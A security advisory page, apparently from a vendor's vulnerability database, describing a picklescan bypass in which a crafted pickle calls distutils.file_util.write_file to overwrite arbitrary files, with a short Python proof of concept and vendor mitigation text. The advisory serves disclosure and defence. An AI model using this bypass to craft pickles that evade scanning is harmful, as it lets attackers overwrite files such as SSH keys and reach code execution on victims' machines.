GHSA-m273-6v24-x4m4
Fix: mmaitre314/picklescan#53GHSA-m273-6v24-x4m4 is a Deserialization of Untrusted Data vulnerability in picklescan. O3 Security confirms whether GHSA-m273-6v24-x4m4 is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Picklescan vulnerable to Arbitrary File Writing
Real-World Exposure
picklescanReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")
To fix this just add disutil to the blacklist
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | picklescan | all versions | 0.0.33 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for picklescan. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update picklescan to 0.0.33 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m273-6v24-x4m4 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-m273-6v24-x4m4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-m273-6v24-x4m4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-m273-6v24-x4m4 in your dependencies?
O3 detects GHSA-m273-6v24-x4m4 across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.